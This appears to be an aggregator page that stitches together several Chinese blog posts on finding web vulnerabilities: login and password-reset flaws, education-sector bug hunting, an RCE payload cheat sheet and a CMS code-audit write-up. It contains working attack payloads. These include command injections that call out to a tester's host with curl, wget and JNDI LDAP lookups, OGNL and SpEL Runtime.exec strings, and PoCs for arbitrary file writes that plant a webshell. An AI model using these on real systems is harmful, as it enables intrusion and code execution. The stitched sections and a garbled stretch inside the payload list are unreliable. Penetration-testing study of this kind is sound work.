精华内容
下载资源
问答
  • 漏洞挖掘思路
    千次阅读 多人点赞
    2022-04-11 09:34:00

    在这里插入图片描述

    📢前言

    • ✅博客主页: 花城的包包
    • 🔊欢迎关注🔎点赞👍收藏⭐️留言📝
    • 🔥
      -🚀 一个人可以走得很快,一群人可以走得更远!
    • 📧只有不断学习才能不被茫茫人海淹没!
    • 💪如发现错误,请评论区留言轰炸我,万分感谢!

    前言

    哈喽,大家好,本篇主要分享网站漏洞思路,希望你看完有所收获。

    一、登录框常见漏洞🎄

    1、常规漏洞🍁

    sql注入、万能密码

    我们在用户名中输入 ‘or 1=1#,密码随意。就变成了select name.passwd from users where username= ‘’ or 1=1#’ and password=???。在SQL语法中 # 是注释符,所以后面的语句都会杯注释掉,那么上面的语句就等价于select name.passwd from users where username=’’ or 1=1。在or 连接中, username=’’ 和 1=1 中有一个为真就为真。所以1=1肯定为真。如果存在sql注入的漏洞,则可以直接登录进去。

    url重定向

    网站接受用户输入的链接,跳转到一个攻击者控制的网站,可能导致跳转过去的用户被黑客设置的钓鱼页面骗走自己的个人信息和登录口令。

    未授权访问

    未授权访问漏洞,是在攻击者没有获取到登录权限或未授权的情况下,不需要输入密码,即可通过输入网站控制台主页面地址或者不允许查看的连接便可进行访问,同时进行操作。

    修改返回包

    由于对登录的账号及口令校验存在逻辑缺陷,以再次使用服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制,如服务器返回一个参数作为登录是否成功的标准,由于代码最后登录是否成功是通过获取这个参数来作为最终的验证,所以。攻击者通过修改参数即可绕过登录的限制!

    越权

    登录框处同样存在越权:

    • 平行越权:获得相同等级的其它用户的权限;
    • 垂直越权:低权限用户获取高权限用户的权限,例如:用户权限获得管理员权限,或者超级管理员权限。

    目录遍历、信息泄露

    目录遍历漏洞是由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录等信息。

    造成漏洞原因
    程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

    跨站脚本攻击

    分三类:反射型、存储型、DOM型
    利用:获取cookie,钓鱼
    这里我就不细说了

    2、用户相关🍁

    明文传输、用户名遍历

    在登录框BP抓包,发现用户名、密码是明文传输的,即客户端与服务器的数据传输未加密。
    危害: 攻击者可能通过劫持ARP欺骗、嗅探Sniffer、等手段截获敏感数据,若获取用户名和密码信息,可以进入到系统当中。
    漏洞挖掘:
    1、查看是否使用HTTPS协议
    2、用户名、密码是否加密

    任意用户注册

    利用:在登录框处输入手机号,密码,验证码随便填,BP抓包,尝试验证码爆破

    下图作用是可以抓到返回包并可修改返回值:

    任意密码重置

    任意账号密码重置的6种方法,这里深入讲一下:

    • 短信验证码回传:通过手机找回密码,响应包中包含短信验证码。

    修复建议:响应包中去掉短信验证码。

    • 修改用户名、用户ID或手机号重置任意账号密码:
        通过手机找回密码一般需要短信验证码验证。当我们输入正确的手机号和正确的短信验证码,然后进入重置密码的最后一步,也就是输入新的密码输入密码后提交到服务端的post数据包需要包含当前用户的身份信息。而一般网站是通过用户名或用户ID来标识用户身份的,如果这个用户名或用户ID没有和当前手机号、短信验证码进行绑定;也就是说服务端只验证用户名、ID是否存在,而不去验证用户和当前手机号是否匹配,那么我们就可以通过修改用户名、ID去修改其他用户的密码了。也可以修改的地方不限于找回密码的数据包,比如修改资料的地方也可能存在这样的漏洞。

    修复建议:
    用户操作个人信息时,服务端要对当前用户身份进行验证,防止越权操作;
    用来标识用户身份的名称或ID可以使用自定义加密,也可以隐藏这些参数,直接从cookie中获取用户信息;
    用户修改密码时应该先对旧密码进行验证,或者使用手机短信验证;
    用户修改手机号时需要先对原手机号进行验证。

    • 修改响应包重置任意账号密码:通过手机找回密码一般需要短信验证码验证,服务端需要告诉客户端,输入的验证码是否正确。如果客户端收到true的信息,那么就会向带着true的信息向服务端请求进入下一步,而服务端收到true的信息,就会允许客户端进入下一步。反之,如果是false的信息,服务端就不会允许客户端进入下一步。所以我们进入下一步的关键是让服务端收到客户端的true信息。而通过Burpsuite,我们可以修改服务端返回到客户端的信息,这样一来,我们就可以输入任意短信验证码,然后将服务端返回的false信息改为true就可以绕过短信验证码的验证了。

    修复建议:
    服务端对验证码进行验证,结果为true时直接跳到下一步,无需向客户端单独返回验证结果;
    输入新的密码,然后提交到服务端,服务端应对当前用户名、手机号、短信验证码进行二次匹配验证,都为true时,才可以修改成功。

    • 跳过验证步骤重置任意账号密码:找回密码流程一般需要四个步骤:1、验证用户名;2、验证短信验证码;3、输入新密码;4、重置成功。
      利用思路:第一步正常输入用户名,第二部输入任意验证码,直接访问输入新密码,重置密码。
      原因:当我们输入新的密码后,提交到服务端,服务端并没有对当前用户身份进行二次验证,只是简单的获取到用户名或ID以及新密码,从而导致跳过短信验证码验证重置任意账号密码。

    修复建议:
    每一个步骤都要对前一个步骤进行验证;
    最后提交新密码时应对当前用户名或ID、手机号、短信验证码进行二次匹配验证。

    • 重置密码链接中token值未验证或不失效导致任意账号密码重置:使用邮箱重置密码时,服务端向邮箱发送一个重置密码的链接,链接中包含当前用户的身份信息和一个随机生成的token信息,如果未对token值进行验证或是验证后不失效,我们就可以通过修改用户名或用户ID来重置任意账号密码。

    修复建议:
    服务端对客户端提交的token值进行验证;
    保证token值使用一次后即失效,防止重复使用;
    对用户ID进行自定义加密;
    使用根据用户ID生成的token值来标识用户,链接中不携带用户ID。

    • 找回密码的短信验证码可被爆破导致任意账号密码重置:找回密码时使用位数较少的短信验证码,或者验证码没有设置有效时间限制,导致攻击者借助自动化工具(例如BP)进行爆破获得短信验证码,从而导致重置任意账号密码。

    修复建议:
    验证码满足一定复杂度,且限制验证码生效时间;
    验证短信验证码的数据包使用token值并验证,防止自动化工具爆破

    弱口令

    短信相关漏洞

    短信轰炸

    短信炸弹是利用互联网第三方接口发送垃圾短信轰炸,只需输入手机号码就可以利用网络短信无限轰炸对方手机,具有恶意骚扰功能的软件。

    短信验证码爆破

    上面讲到过了,例如:用BurpSuite爆破。

    验证码回显

    思路:登录接收验证码时,BP抓包,可以看到验证码回显在返回包中。

    万能验证码

    类似于弱口令,程序员开发为了方便,设置比较简单,例如8888、0000等。

    验证码失效、未与用户绑定

    二、搜索框存在什么漏洞?🌲

    • SQL注入:SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库被增、删、改、查的危害。
    • xss漏洞

    三、新增主题、添加用户处存在什么漏洞🌲

    越权
    sql注入
    文件上传
    未授权登录
    csrf

    四、导入、导出excel处存在什么漏洞🌲

    任意文件读取、下载
    任意文件上传漏洞
    xxe

    五、内容编辑处存在什么漏洞🌲

    xss
    sql注入
    越权
    文件上传
    编辑器:fckeditor、ueditor

    六、修改头像处🌲

    文件上传:getshell、xss
    越权

    七、页面内容浏览处一般存在漏洞🌲

    越权
    sql注入

    八、结束语🌲

    如果有哪里需要改正欢迎各位在评论区留言和我一起探讨。如果你觉得对你有帮助的话,就点赞支持一下,你们的支持就是我创作的最大动力!
    在这里插入图片描述

    更多相关内容
  • 教育行业edu漏洞挖掘思路小结

    千次阅读 2021-12-03 08:52:48
    漏洞挖掘要素:合法授权,合法测试授权范围内,按照甲方要求测试内,挖掘点到为止… 话不多说,先上图: 0x01 漏洞挖掘难易的介绍 1.漏洞的挖掘现在大致分为三种类型,从易到难分别是: 参考 教育行业edu: ...

    0x00 *法律法规的必要科普

    *声明:本文章仅仅作为内容交流,不作为任何其他用途,请勿非法利用传播,均与本人无关。

    漏洞挖掘要素:合法授权,合法测试授权范围内,按照甲方要求测试内,挖掘点到为止…

    话不多说,先上图:

    0x01 漏洞挖掘难易的介绍

    1.漏洞的挖掘现在大致分为三种类型,从易到难分别是:

    参考
    教育行业edu: https://src.sjtu.edu.cn/
    cnvd平台: https://www.cnvd.org.cn/
    补天/漏洞盒子等项目:https://www.butian.net/

    从易到难的难度的区分在于:

    参考
    积分相关证书奖励、
    cnvd等原创报送证书、
    补天等漏洞平台的项目奖金

    想拿到一个原创的cnvd还是得下一定的时间(大佬忽略)

    0x02 edu漏洞挖掘思路介绍

    edu的漏洞挖掘方向分为两种:常规挖掘、定点挖掘
    (一)、常规安全挖掘:

    常规安全便是使用一些漏扫等,例如xray,awvs等进行批量的自动化扫描,当然这个一定是要在授权的范围内,进行合理的漏扫才行!

    1.爬虫批量爬取可测试对象:

    爬取代码参考:

    import requests,time
    from lxml import etree
    
    def edu_list(page):
        for page in range(1,page+1):
            try:
                url='https://src.sjtu.edu.cn/list/?page='+str(page)
                data=requests.get(url).content
                #print(data)
                soup = etree.HTML(data.decode('utf-8'))
                result = soup.xpath('//td[@class=""]/a/text()')
                #print(result)
                results = '\n'.join(result)
                resultss=results.split()
                print(resultss)
                for edu in resultss:
                    with open(r'src.txt', 'a+',encoding='utf-8') as f:
                        f.write(edu+'\n')
                        f.close()
            except Exception as e:
                time.sleep(0.5)
                pass
    
    if __name__ == '__main__':
        edu_list(10)
    

    2.使用联动批量挖掘,例如xray+bur代理工具等配合
    或者提交awvs等批量扫描,但一定需要在授权前提下!!!
    *这里的联动使用不做介绍,自行在授权的前提下进行学习
    3.弱口令的挖掘,弱口令相对于其他类型漏洞,还是比较友好,可以在fofa收集edu/login等信息,在授权的前提下,进行批量弱口令检查,弱口令的收集,分为常规的弱口令,以及特定的cms框架默认使用的弱口令,在不同场景考虑不同的思路

    (二)、定点检测挖掘:

    暴露出最新的漏洞(知道创宇),一些比较常见的web等的容易 出现的漏洞进行信息收集检测,需要编写特定的漏洞,批量检测

    定点检测的特点:
    1.利用已经有的poc实现批量检测
    2.fofa爬取相关的漏洞对象
    3.上网查询:漏洞的复现过程
    常见定点检测:TP代码执行,apache shiro反序列化,fastjson反序列化

    定点挖掘多在信息的交互点进行测试,或者对于框架等进行其他的漏洞探针。

    0x03 总结

    以上仅仅介绍edu漏洞挖掘的思路梳理,以及漏洞挖掘的介绍等,本人不作为任何其他用途,

    交流学习:
    博客:http://www.kxsy.work
    CSND社区用户名:告白热

    展开全文
  • RCE漏洞存在的地方包括:在url参数上,文件下载处,在查看图片,查看文件等地方在文件删除上,SSRF可能存在的地方,变量参数提交的地方等

    RCE漏洞可能出现在哪些地方?

    1.URL上

    url参数上,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl。

    payload例子:

    index.php?id=2;}phpinfo();/*

    ttp://www.xxx.com/cmd.php?cmd=phpinfo()

    比如访问到如下URL,在jsp后面尝试加参数,比如path(什么参数需要试)

     

     


    http://x.x.x.x:28076/file/dirFiles.jsp?path=

    发现show.jsp存在任意文件读取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd

    最初想通过添加双引号闭合if条件判断参数注入命令,没有成功。

    payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;

    经过多次测试,最终可用反引号``或者$()进行命令执行,如`ifconfig`:

    payload:"`ifconfig |xargs`"

    命令结果的回显是因为判断不存在FILA_PATH文件名的文件后,会把变量值返回

    echo "the file($FILE_PATH) dose not exist!"

    拓展知识:Linuxbash中可以使用反引号``、$()等方式将bash命令的执行结果保存到变量中,如a=$(ifconfig):

    2.所有变量:所有变量/提交的数据都要尝试

    测试payload:

    &不管前后命令是否执行成功都会执行前后命令
    &&具有短路效果。 前面的命令执行成功才能执行后面的命令
    |管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行
    ||具有短路效果。 前面的命令执行不成功才能执行后面的命令

    payload例子

    ping 127.0.0.1&ipconfig #在linux系统里是几乎同时执行

    ping 127.0.0.1 && ipconfig #在linux系统里执行完前面再去执行后面

    ping 127.0.0.1 &;& ipconfig #其中**;**会被解析为空

    ping 127.0.0.1 || ipconfig #在linux中两个**||** = or

    ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一个命令执行的结果给后面的命令执行
     

    再测试SSRF的地方尝试测试命令执行

    文件下载处就很大概率会调用wget!在查看图片,查看文件等地方可能会使用cat命令等,在文件删除上,我们可能会用到rm命令!
    尝试在url,xxxurl等参数下测试命令执行
    如输入http://服务器ip/ 采用nc监听探测是否访问。
    尝试 输入http:// sleep 5.服务器地址/ 出现延迟就说明存在注入
    尝试输入 http://服务器地址/$(whoami)
    尝试输入http://whoami.服务器地址
    现在搭建网站多以linux做网站服务器,以linux为例子讲解:
    作为曾经写过一段时间业务代码的我来说,在挖掘命令执行漏洞时,我经常思考,哪些地方更有可能存在命令执行漏洞呢?
    网站邮箱注册,填写邮箱,邮箱验证处,是否可能存在第三方接口的调用

     payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”

    3.所有头:cookie的变量

    4.文件上传处:存在问题参数filename

    完整数据包:
    POST /index.php HTTP/1.1
    Content-Length: 364
    Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
    Host: xxx.com
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
    Accept: */*
    -------AcunetixBoundary_NHDUMYQDQJ
    Content-Disposition: form-data; name="submit"
    submit
    -------AcunetixBoundary_NHDUMYQDQJ
    Content-Disposition: form-data; name="ver"
    set|set&set
    -------AcunetixBoundary_NHDUMYQDQJ
    Content-Disposition: form-data; name="file"; filename=";set|set&set;"
    Content-Type: image/png
    -------AcunetixBoundary_NHDUMYQDQJ—
    发包响应:

    列出所有系统路径。他这里fuzz的技巧很好,一般我们测试命令注入都是|payload亦或是&payload,亦或是;payload,他这里把三种测试方法都归到一块变成: ;payload|payload&payload
    payload可以是直接回显的set或者是ls等参数,也可以是远程curl,wget探测!
    凡是name,filename等参数是很容易爆发出命令执行漏洞的,这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试!

     逐个变量删除:筛选出服务器对哪些变量进行处理

    小总结:

    Window下||和&
    linux下||和&
    Linux下过滤空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的测试: \̲u̲000awget\u0020 …(whoami)
    curl http://服务器地址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't(whoami∣base64)′w′g′e′t{IFS}服务器地址
    Windows下rce探测:
    ping %USERNAME%.服务器地址
    for /F %x in (‘whoami’) do start http://服务器地址/%x(获取计算机名)
    for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服务器地址(获取用户名)
    测试邮箱:wget%209服务器地址/xxxx@qq.com
    测试上传:sleep 10filename
    测试filenname:||wget%20服务器地址
    测试上传处下的名称: ;payload|payload&payload

    各语言RCE的危险函数

    1、PHP
    assert
    escapeshellarg
    escapeshellcmd
    exec
    passthru
    proc_close
    proc_get_status
    proc_nice
    proc_open
    proc_terminate
    shell_exec
    system
    2、Python
    system
    popen
    subprocess.call
    spawn
    3、Java
    java.lang.Runtime.getRuntime().exec(command)

    5.框架和中间件已曝光漏洞

    以JAVA举例:

    rmi  远程通信协议 一种机制,可以在相同计算机的不同进程或者不同计算机的进程,rmi传输是通过序列化方式进行传输的,rmi在接收经过序列化的对象(字节流)会进行反序列化。


    jndi:是应用程序命令接口,会加载实例对象,还可以访问现有的目录和服务。一般是命令执行注入漏洞,反序列化漏洞也会关联到。


    LDAP:是一个访问在线目录服务的协议,比如log4j2远程代码执行漏洞,可以使用相关的dnslog平台查看,在dnslog平台获得临时域名,漏洞处输入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回显,说明存在该漏洞。jndi注入的地方可以找url或抓包请求头比如X-Api-Version


    ognl(对象图导航语言),它是struts2框架里面的第三方语言(即可以再别的地方用,struts2只是拿过来了而已),它可以调用对象中的方法,参考https://www.cnblogs.com/ends-earth/p/10714068.html 不仅可以执行简单计算(首先生成一个ongl上下文,context),ongl还可以对类和对象进行操作。通过context来put的对象都会放入value属性中,穿进去的字符串就是该属性中的key,通过#key的形式来指定对象,也可以修改属性值和方法。有了这些基础我们就可以来构造ognl表达式来执行我们的命令
    struts2的ognl表达式注入漏洞,原理就是对用户的参数没有进行过滤,导致恶意参数直接传入到ognl的方法中命令执行。paylaod:${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
    ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    比如 Atlassian Confluence 远程代码执行漏洞。payload:${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


    SpEL全称是Spring Expression Language是一种强大的表达式语言。在Spring产品组合中,它是表达式计算的基础。它支持在运行时查询和操作对象图,它可以与基于XML和基于注解的Spring配置还有bean定义一起使用。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
    SpEL使用 #{…} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法。spel表达式注入漏洞,将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。
    http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
    http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}

    比如Spring Cloud Gateway 远程代码执行漏洞
     

     

    展开全文
  • Unicode的规范化相关漏洞挖掘思路实操1
  • 大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通这次现挖掘通用型漏洞,整理一下挖掘思路,分享给大家。 0x02 挖掘前期 一、CMS选择 如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些...
     `搜索公众号:白帽子左一,每天更新技术干货!
    

    作者:ajie

    转自地址:https://xz.aliyun.com/t/10539

    0x01 前言

    大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通这次现挖掘通用型漏洞,整理一下挖掘思路,分享给大家。

    0x02 挖掘前期

    一、CMS选择

    如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。
    具体源码下载地址可以参考:

    https://github.com/search?q=cms
    https://search.gitee.com/?skin=rec&type=repository&q=cms
    https://down.chinaz.com/
    https://www.a5xiazai.com/

    百度找找,肯定不止这些

    图片

    那么应该怎么选择呢

    (这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,如果做过开发,代码功底很强等情况,emm…当我没说。):

    1、找最新版的版本较低的,例如1.1、1.2
    2、找github star不多的
    3、找源码总容量小的
    4、尽量不要找使用tp、yii、laravel等框架型CMS

    这里说一下理由:

    1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)

    图片

    图片

    2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。

    3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。

    4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。

    为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。

    扯了那么多,总结一句话:

    跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~

    代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~

    二、环境准备

    1、PHPstudy
    PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。
    下载地址:
    https://www.xp.cn/
    图片

    2、代码扫描工具
    目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。

    https://github.com/f1tz/cnseay

    图片

    图片

    3、BurpSuite
    渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。

    图片

    4、漏洞扫描工具

    虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。

    扫描工具这里推荐Xray+burp联动进行。

    随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。

    下载地址:
    https://github.com/chaitin/xray/releases

    图片

    5、编辑器

    编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的也是可以的,phpstorm最好,可以快捷进行函数跳转。

    三、搭建环境

    1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中

    图片

    2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息。

    图片

    3、提示安装成功即可

    图片

    0x03 挖掘中期

    一、代码扫描

    借助seay自带的自动审计功能进行代码扫描

    图片

    二、黑白盒配合发现漏洞

    这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些
    1、浏览器设置代理,指向burp:127.0.0.1:8080

    图片

    图片

    2、burp设置代理,指向xray:127.0.0.1:7777

    图片

    3、开启xray被动扫描,命令:

    ./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html

    在这里插入图片描述

    4、在每个功能点都点一点,就跟正常测黑盒即可

    图片

    5、查看xray扫描结果

    图片

    6、查看代码扫描结果

    图片

    三、分析扫描结果

    1、将结果一个个点击查看,分析漏洞是否真实存在
    因为工具是按照正则匹配来进行扫描的,总会出现一些可能存在,但是实际不存在的情况,例如这个:

    图片

    因为 G [ ′ S Y S T E M ′ ] [ ′ P A T H ′ ] 疑 似 为 可 控 变 量 , 所 以 爆 出 任 意 文 件 包 含 漏 洞 , 那 么 实 际 上 , 往 上 看 可 以 发 现 _G['SYSTEM']['PATH']疑似为可控变量,所以爆出任意文件包含漏洞,那么实际上,往上看可以发现 G[SYSTEM][PATH]_G[‘SYSTEM’][‘PATH’]其实已经事先定义好了。

    图片

    2、定位漏洞

    1)发现一个file_get_contents,可控变量为$path

    图片

    往前看,$path为我们直接get传入,只是做了一些限制与鉴权,没有进行过滤

    图片

    $path = realpath($_GET['path']);
    if (!$path) {
        if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
            PkPopup('{content:"不存在的路径,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        ExitJson('不存在的路径,请求路径:' . $_GET['path']);
    }
    $_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
    if (strpos($path, $spath) !== 0) {
        if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
            PkPopup('{content:"越权操作,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        ExitJson('越权操作,请求路径:' . $_GET['path']);
    }
    
    switch ($type) {
        case 'edit' :
            if (filetype($path) != 'file') {
                if ($_G['GET']['JSON']) {
                    ExitJson('不存在的文件');
                }
                PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
            }
            $suffix = substr($path, strrpos($path, '.') + 1);
            if (!InArray($suffixs, $suffix)) {
                if ($_G['GET']['JSON']) {
                    ExitJson('不支持的文件格式');
                }
                PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
            }
            $filecontent1 = file_get_contents($path);
            $filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
            if ($filecontent1 && !$filecontent) {
                if ($_G['GET']['JSON']) {
                    ExitJson('不支持该文件编码,仅支持UTF-8');
                }
                PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
            }
            if ($_G['GET']['JSON']) {
                ExitJson($filecontent1, TRUE);
            }
            $path = str_replace('\\', '/', $path);
            $paths = explode('/', $path);
            $path = '';
            for ($i = 0; $i < count($paths); $i++) {
                if ($i == count($paths) - 1) {
                    $filename = $paths[$i];
                } else {
                    $path .= $paths[$i] . '/';
                }
            }
            ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
            break;
    

    2)往下看,对$path进行unlink(),即删除操作

    在这里插入图片描述

    case 'del' :
    
            $r = unlink($path);
            ExitJson('操作完成', $r);
            break;
    

    3)再往下,传入mkname,使用file_put_contents进行文件创建,内容为空。

    很明显只是检测是否存在重复创建的情况,未进行过滤。

    在这里插入图片描述

    case 'mkfile' :
            $mkname = $_GET['mkname'];
            if (!$mkname) {
                ExitJson('请输入目录或文件的名称');
            }
            if ($type == 'mkdir') {
                if (file_exists($path . "/{$mkname}")) {
                    ExitJson('目录已存在');
                }
                $r = mkdir($path . "/{$mkname}");
            } else {
                if (file_exists($path . "/{$mkname}")) {
                    ExitJson('文件已存在');
                }
                $r = file_put_contents($path . "/{$mkname}", '');
            }
            ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);
            break;
    }
    

    3、研究路由,查看如何调用漏洞函数

    1)首先查看这个漏洞路径为/app/filesmanager/index.php
    字面上意思是在/app/目录下的一个文件管理的操作

    2)回到网站,刚刚黑盒测试的时候,发现路由规律为:

    图片

    图片

    请求了http://192.168.150.9/index.php?c=read&id=1&page=1后,会发出这样的一个请求:/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1

    通过a=puyuetianeditor:index,定位文件位置为/app/puyuetianeditor/index.php

    图片

    3)在文件中看到继续请求了’/app/puyuetianeditor/phpscript/’ . $_G[‘GET’][‘S’] . '.php,在URL中可以看到s传入的参数为myfiles

    所以可以定位文件路径为:/app/puyuetianeditor/phpscript/myfiles.php

    图片

    4)漏洞路径/app/filesmanager/index.php即可以对应URL

    /?c=app&a=filesmanager:index
    

    四、验证漏洞

    任意创建文件

    1、搭建网站并登录进网站后台

    图片

    2、漏洞存在点为/app/filesmanager/index.php

    图片

    3、进行一些操作后,通过file_put_contents创建文件
    poc:

    http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
    

    图片

    4、在网站根目录可以看到文件创建成功

    图片

    任意文件写入
    poc:

    http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
    POST:
    filecontent=<?php phpinfo();?>
    

    图片

    漏洞文件存在的路径为/app/filesmanager/index.php

    图片

    可以看到文件内容成功写入

    在这里插入图片描述

    尝试执行命令

    图片

    任意文件删除
    poc:

    http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
    

    图片

    漏洞文件存在的路径为/app/filesmanager/index.php

    图片

    可以看到123.php文件已成功删除。

    图片

    五、组合漏洞扩大成果

    1、任意文件删除配合系统重装(失败)

    以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。

    1)首先查看index.php文件

    只要install.locked文件存在即表示网站已安装

    图片

    2)再看/install/index.php,可以看到也是这个文件存在即不能重装系统。

    图片

    3)通过任意文件删除,将此文件进行删除:

    http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
    图片

    4)访问/install/index.php即可进行重装系统操作

    图片

    5)正常执行,在step=2的时候,输入数据库等信息

    图片

    图片

    定位到/phpscript/environment.php文件

    图片

    再到/template/environment.hst

    图片

    发现关键字mysql_username

    图片

    全局搜索一下,定位文件位置:

    图片

    图片

    可以看到配置信息最后会写入到这里。

    图片

    6)抓取传入信息的数据包,进行测试

    图片

    图片

    多次fuzz,确认确实可以写入一些东西

    POST /install/index.php?step=3 HTTP/1.1
    Host: 192.168.150.9
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 302
    Origin: http://192.168.150.9
    Connection: close
    Referer: http://192.168.150.9/install/index.php?step=2
